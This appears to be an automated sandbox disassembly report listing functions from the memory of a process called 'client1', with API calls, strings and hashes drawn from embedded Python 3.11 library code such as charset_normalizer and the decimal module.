Instruction ID: 5e41e6416dcbca17ebcc084aa2b1602857236b40ea0d1787d6511593137c4f44
Opcode Fuzzy Hash: 1ad8658de8dbd2e7b08889bff9c9537d6e44ae678795f4b96bc9f189f6c45e5f
Instruction Fuzzy Hash: C83174726287C191EA30BB20E4517DAA36AFB84784FC04035EA9D47A89DF3CD305CB50

Function 00007FFBAB495A10 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 65COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB495A3A

Strings

charset_normalizer.md.SuspiciousDuplicateAccentPlugin, xrefs: 00007FFBAB495AFD
__init__, xrefs: 00007FFBAB495A79, 00007FFBAB495B10
interpreted classes cannot inherit from compiled, xrefs: 00007FFBAB495A30

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Err_String
String ID: __init__$charset_normalizer.md.SuspiciousDuplicateAccentPlugin$interpreted classes cannot inherit from compiled
API String ID: 1450464846-1506521901
Opcode ID: 4f9607bb26152d36a62855f69e1e92066554209e4990823762cc37e355d07849
Instruction ID: 30b11fc59b1c4b6b362b453da15576213fc9ceaa152e58077c9b61502eb3a53a
Opcode Fuzzy Hash: 4f9607bb26152d36a62855f69e1e92066554209e4990823762cc37e355d07849
Instruction Fuzzy Hash: A53129B1A0AB4281EB128F2AF88036963B0FB48B88F54853ADE6D47779DF7DD555C340

Function 00007FFBAA716FDC Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 64COMMON

Download Yara Rule

APIs

PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAA7170EA

Strings

{<class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s}, xrefs: 00007FFBAA71704B
True, xrefs: 00007FFBAA71702D
False, xrefs: 00007FFBAA717016

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: FormatFromUnicode_
String ID: False$True${<class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s, <class '%s'>:%s}
API String ID: 3889672380-2743431446
Opcode ID: f995eacbdabc04b11ee8721ccd51a25ac2d833d40258d5847d7302674445f47e
Instruction ID: edb17be57e35cb003f940e5b7c244a19c71dd714be687af9a3e24194c8e4fd89
Opcode Fuzzy Hash: f995eacbdabc04b11ee8721ccd51a25ac2d833d40258d5847d7302674445f47e
Instruction Fuzzy Hash: 6A318276A06F45C9EB518F69E88039E77B8F748B98F500126DE8C57B28EF38D155CB10

Function 00007FFBAA708014 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 56COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA70804D
PyErr_SetString.PYTHON311 ref: 00007FFBAA7080CD
_Py_Dealloc.PYTHON311 ref: 00007FFBAA7157D9

Strings

optional argument must be a context, xrefs: 00007FFBAA7080C3

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Arg_DeallocErr_KeywordsParseStringTuple
String ID: optional argument must be a context
API String ID: 2394110584-3732962867
Opcode ID: 46243e6063ea57f9d7b5eaf9eaf3c720bc946233cb08bfc47c4f57a2e7e05993
Instruction ID: 4847db217590924527bd5b531148ff2cb35b5de60ee0270390a91ae2763ffacf
Opcode Fuzzy Hash: 46243e6063ea57f9d7b5eaf9eaf3c720bc946233cb08bfc47c4f57a2e7e05993
Instruction Fuzzy Hash: DF2125A1A0AA07D0EA028F35E8801BB77ACAF44B90F5044B2CD4E56BB4DE6DE147C325

Function 00007FFBAB494FD0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB494FF6
_Py_Dealloc.PYTHON311 ref: 00007FFBAB495019

Strings

'TooManySymbolOrPunctuationPlugin' object attribute '_last_printable_char' cannot be deleted, xrefs: 00007FFBAB494FEC
str or None, xrefs: 00007FFBAB495061

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocErr_String
String ID: 'TooManySymbolOrPunctuationPlugin' object attribute '_last_printable_char' cannot be deleted$str or None
API String ID: 1259552197-2331204894
Opcode ID: 32e75a776e48ac4c2c5fe5fe0fb0a9e3155ffe328c8c67ac2beb131072333536
Instruction ID: 7449ef21b9bb4f44b0aa8623d36039b659a5faf730ddef68fda87215b6812d92
Opcode Fuzzy Hash: 32e75a776e48ac4c2c5fe5fe0fb0a9e3155ffe328c8c67ac2beb131072333536
Instruction Fuzzy Hash: EE1191B2B1AA4682EE46CF3AE59023C6360FB44B94F58C135DE2D077B5DE2CE4918340

Function 00007FFBAB496020 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 47COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311 ref: 00007FFBAB496046
_Py_Dealloc.PYTHON311 ref: 00007FFBAB496069

Strings

'SuspiciousDuplicateAccentPlugin' object attribute '_last_latin_character' cannot be deleted, xrefs: 00007FFBAB49603C
str or None, xrefs: 00007FFBAB4960B1

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocErr_String
String ID: 'SuspiciousDuplicateAccentPlugin' object attribute '_last_latin_character' cannot be deleted$str or None
API String ID: 1259552197-4111674009
Opcode ID: 8e765b0d61acfcd8c10934ee4906ef0f2b2d39b6f7c7e18e8a84478dcf422f92
Instruction ID: 979b1245878dff33a123b0e8c9140c2efc348ad4518b65cc98064d5f1fd274fb
Opcode Fuzzy Hash: 8e765b0d61acfcd8c10934ee4906ef0f2b2d39b6f7c7e18e8a84478dcf422f92
Instruction Fuzzy Hash: 23118FB2B1AA0681FF52CB2AE5D023C6360EB88B94F488135DE3D077A4DE3CD4908300

Function 00007FFBAA70FC20 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45COMMON

Download Yara Rule

APIs

PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAA70FCBB
PyErr_SetString.PYTHON311 ref: 00007FFBAA716EC1

Strings

Context(prec=%zd, rounding=%s, Emin=%zd, Emax=%zd, capitals=%d, clamp=%d, flags=%s, traps=%s), xrefs: 00007FFBAA70FC98
internal error in context_repr, xrefs: 00007FFBAA716EB7

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Err_FormatFromStringUnicode_
String ID: Context(prec=%zd, rounding=%s, Emin=%zd, Emax=%zd, capitals=%d, clamp=%d, flags=%s, traps=%s)$internal error in context_repr
API String ID: 1884982852-1630598095
Opcode ID: c032508e1638e32cb860f0bf575b5598efde2c1b5a4c2d8c493699452706a803
Instruction ID: d5ea252273756559ae58c9b4e30c63f593e9fe0a25640134b99f23b97c7322a9
Opcode Fuzzy Hash: c032508e1638e32cb860f0bf575b5598efde2c1b5a4c2d8c493699452706a803
Instruction Fuzzy Hash: 2B21F9B2609A42D6DB22CF31E4906AB77A8FB88B54F100572DE4D47764DE3DE04ACB60

Function 00007FFBAB4A0CB6 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0CB9

Part of subcall function 00007FFBAB494540: PyObject_GetAttr.PYTHON311 ref: 00007FFBAB494566
Part of subcall function 00007FFBAB494540: PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAB494585
Part of subcall function 00007FFBAB494540: PyObject_GetItem.PYTHON311 ref: 00007FFBAB494599
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB4945AB
Part of subcall function 00007FFBAB494540: PyErr_Clear.PYTHON311 ref: 00007FFBAB4945B6
Part of subcall function 00007FFBAB494540: PyModule_GetFilenameObject.PYTHON311 ref: 00007FFBAB4945BF
Part of subcall function 00007FFBAB494540: PyUnicode_FromFormat.PYTHON311 ref: 00007FFBAB4945D8
Part of subcall function 00007FFBAB494540: PyErr_SetImportError.PYTHON311 ref: 00007FFBAB4945EA
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB4945F9
Part of subcall function 00007FFBAB494540: _Py_Dealloc.PYTHON311 ref: 00007FFBAB494608

PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A0D06
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0D1F

Strings

<module>, xrefs: 00007FFBAB4A0D30

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Err_FormatFromItemObject_Unicode_$AttrClearDict_ErrorFilenameImportModule_Object
String ID: <module>
API String ID: 3933568714-217463007
Opcode ID: 7b13a31264b79e89851a6d61d6372347fd4847a0b1f1e490f03075708453d135
Instruction ID: 7dcf948ea690ccf52950525a6d122830edb6aafe18155625304e36526d718d67
Opcode Fuzzy Hash: 7b13a31264b79e89851a6d61d6372347fd4847a0b1f1e490f03075708453d135
Instruction Fuzzy Hash: 081127E6A0BA0644FA179F77F8902782660AF14BD0F04D03ECD2E063B0EE3CF0918240

Function 00007FFBAB49AEF0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

PyObject_VectorcallMethod.PYTHON311 ref: 00007FFBAB49AF18
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49AF5B

Part of subcall function 00007FFBAB4936A0: PyErr_Format.PYTHON311 ref: 00007FFBAB4936D4

Strings

bool, xrefs: 00007FFBAB49AF36
eligible, xrefs: 00007FFBAB49AF6E

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocErr_FormatMethodObject_Vectorcall
String ID: bool$eligible
API String ID: 2503426208-3320767611
Opcode ID: d8798120b881b628d4f32557d3a83a5594d57e1307ce288bef6a3fc46a691348
Instruction ID: 8941c3c7566621f5cbca1b6563f660b5e9825ea87e596a30cfcc5fa3c811fe17
Opcode Fuzzy Hash: d8798120b881b628d4f32557d3a83a5594d57e1307ce288bef6a3fc46a691348
Instruction Fuzzy Hash: 7A1161E1A0AA4281EB628B36F4816BD27A0FF88784F48D036ED6D07774DE2CE490C700

Function 00007FFBAB498B30 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

PyObject_VectorcallMethod.PYTHON311 ref: 00007FFBAB498B58
_Py_Dealloc.PYTHON311 ref: 00007FFBAB498B9B

Part of subcall function 00007FFBAB4936A0: PyErr_Format.PYTHON311 ref: 00007FFBAB4936D4

Strings

bool, xrefs: 00007FFBAB498B76
eligible, xrefs: 00007FFBAB498BAE

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocErr_FormatMethodObject_Vectorcall
String ID: bool$eligible
API String ID: 2503426208-3320767611
Opcode ID: 5c7763d0d40455b74a9c88c00daeaa33e6d0a0f9953aad7b51454f9e04c63c1b
Instruction ID: 4a17261bb7358ef9486c9ee8afe6f4c3c803dd64f7f2c00c6400b272df8415be
Opcode Fuzzy Hash: 5c7763d0d40455b74a9c88c00daeaa33e6d0a0f9953aad7b51454f9e04c63c1b
Instruction Fuzzy Hash: 90115EE1A1AA4281EB628B3AF8816BD27A0EF847C4F48D035ED6D07675DE2CE490C700

Function 00007FFBAA731EF0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 42COMMON

Download Yara Rule

APIs

PyErr_SetString.PYTHON311(?,?,?,?,?,00007FFBAA731EDC), ref: 00007FFBAA733B6F

Part of subcall function 00007FFBAA731FD0: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAA732008
Part of subcall function 00007FFBAA731FD0: strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFBAA732026

PyErr_Format.PYTHON311 ref: 00007FFBAA731F53

Strings

undefined character name '%s', xrefs: 00007FFBAA731F46
name too long, xrefs: 00007FFBAA733B65

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Err_strncmp$FormatString
String ID: name too long$undefined character name '%s'
API String ID: 3882229318-4056717002
Opcode ID: 8b8c9c862c8556266a26c0415d30d38fd4fd6db163ae40366dde064f1277ed55
Instruction ID: 3600c85a15d85919754a8a753416545ef2e6ad9350c1eda2132790d7f09719c1
Opcode Fuzzy Hash: 8b8c9c862c8556266a26c0415d30d38fd4fd6db163ae40366dde064f1277ed55
Instruction Fuzzy Hash: 5A1121F6B1A947C6EB01AF24D4882BA6369FB88748F8144B5CE0D47264DF6DD14BC730

Function 00007FF79F623BA0 Relevance: 7.0, APIs: 1, Strings: 3, Instructions: 36COMMON

Download Yara Rule

APIs

GetModuleFileNameW.KERNEL32(?,00007FF79F623699), ref: 00007FF79F623BD1

Part of subcall function 00007FF79F622620: GetLastError.KERNEL32(00000000,00000000,00000000,00007FF79F627744,?,?,?,?,?,?,?,?,?,?,?,00007FF79F62101D), ref: 00007FF79F622654
Part of subcall function 00007FF79F622620: MessageBoxW.USER32 ref: 00007FF79F62272C

Strings

Failed to get executable path., xrefs: 00007FF79F623BDB
Failed to convert executable path to UTF-8., xrefs: 00007FF79F623C0A
GetModuleFileNameW, xrefs: 00007FF79F623BE2

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: ErrorFileLastMessageModuleName
String ID: Failed to convert executable path to UTF-8.$Failed to get executable path.$GetModuleFileNameW
API String ID: 2581892565-1977442011
Opcode ID: fe87d08da65b513e87772ab3e16eb14927cda1b8744753a26f3e7d7b1799e4b8
Instruction ID: 64e40b5f08e71e9dbc1b1938ebb9efc0a48c75c8d0abd793f5d21a7513db45bc
Opcode Fuzzy Hash: fe87d08da65b513e87772ab3e16eb14927cda1b8744753a26f3e7d7b1799e4b8
Instruction Fuzzy Hash: 0701BC21B1C3C290FA30BB30EC523F9925BBF08394FC00535E86EC6682EE5CE1459621

Function 00007FFBAA709BA0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA709BCA
PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA709BDE

Strings

traps, xrefs: 00007FFBAA709BC0
flags, xrefs: 00007FFBAA709BD4

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: CompareStringUnicode_With
String ID: flags$traps
API String ID: 3588640018-2868145861
Opcode ID: a18f8b451ce67ac5fa1682d33940de880b947d6654e043ae6765edebbda2d9f8
Instruction ID: b646c96dcac64e4ed37c30c79aa62ee220309195fa4eb6f84c00dbe682e96493
Opcode Fuzzy Hash: a18f8b451ce67ac5fa1682d33940de880b947d6654e043ae6765edebbda2d9f8
Instruction Fuzzy Hash: A00162A2B09A42D1EB468F26F98017A63B4FB88BD0F485072DE4D07764EF2DD4E2C714

Function 00007FFBAB4A0A50 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34COMMON

Download Yara Rule

APIs

PyImport_Import.PYTHON311 ref: 00007FFBAB4A0A57
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A0A80
PyList_New.PYTHON311 ref: 00007FFBAB4A0A99

Strings

<module>, xrefs: 00007FFBAB4A2826

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocImportImport_List_
String ID: <module>
API String ID: 2210235416-217463007
Opcode ID: 1bad30b6080a49f88ab072cbc376c9f9ad1d1c91adffd84587c2140ecda7d86d
Instruction ID: 97d7e6424030d1b46c82208aa5636e07c65da72a2074e35878e33a4878d86c4b
Opcode Fuzzy Hash: 1bad30b6080a49f88ab072cbc376c9f9ad1d1c91adffd84587c2140ecda7d86d
Instruction Fuzzy Hash: 6B01E8E6E0BB1280FA139B67E85437862A0AF58B94F04C43DDD2D073B0EE3CB4959300

Function 00007FFBAA709D7C Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

PyLong_AsSsize_t.PYTHON311 ref: 00007FFBAA709D8C
PyErr_SetString.PYTHON311 ref: 00007FFBAA709DDA
PyErr_Occurred.PYTHON311 ref: 00007FFBAA709DE5

Strings

valid values for clamp are 0 or 1, xrefs: 00007FFBAA709DD0

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Err_$Long_OccurredSsize_tString
String ID: valid values for clamp are 0 or 1
API String ID: 2426478915-2125878968
Opcode ID: 850e601e1e4291add9c5e474e4a395b4e57a6238550951774b5c9da6e89585e5
Instruction ID: 309522ff42a520eb940767dc4470ef606d26d3eea80572bdd5e8662f3de2b980
Opcode Fuzzy Hash: 850e601e1e4291add9c5e474e4a395b4e57a6238550951774b5c9da6e89585e5
Instruction Fuzzy Hash: D6F081B1B0A602D2EA158F35F98017A7794AF44BB4F244372DD3D463F0DE2EE8938211

Function 00007FFBAB4A1EE8 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A1EE8
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1F01
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A1F1B

Strings

<module>, xrefs: 00007FFBAB4A2826

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocDict_ItemPackTuple_
String ID: <module>
API String ID: 4228545439-217463007
Opcode ID: e6b9ac5ea6bc87588d057a7324b182d3951b47da1a8051baaf59f576c03fa587
Instruction ID: c0983ee0896fa2880f0feb55eeea42d14a942a432509c87aa04ef6a02490691c
Opcode Fuzzy Hash: e6b9ac5ea6bc87588d057a7324b182d3951b47da1a8051baaf59f576c03fa587
Instruction Fuzzy Hash: 8AF03AE6E0B90381FA139B76E80477952616F41BA6F44C13DDD3D076B0EE3DB486A300

Function 00007FFBAB4A1BDD Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 29COMMON

Download Yara Rule

APIs

PyDict_SetItem.PYTHON311 ref: 00007FFBAB4A1BDD
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4A1BF6
PyTuple_Pack.PYTHON311 ref: 00007FFBAB4A1C10

Strings

<module>, xrefs: 00007FFBAB4A2826

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
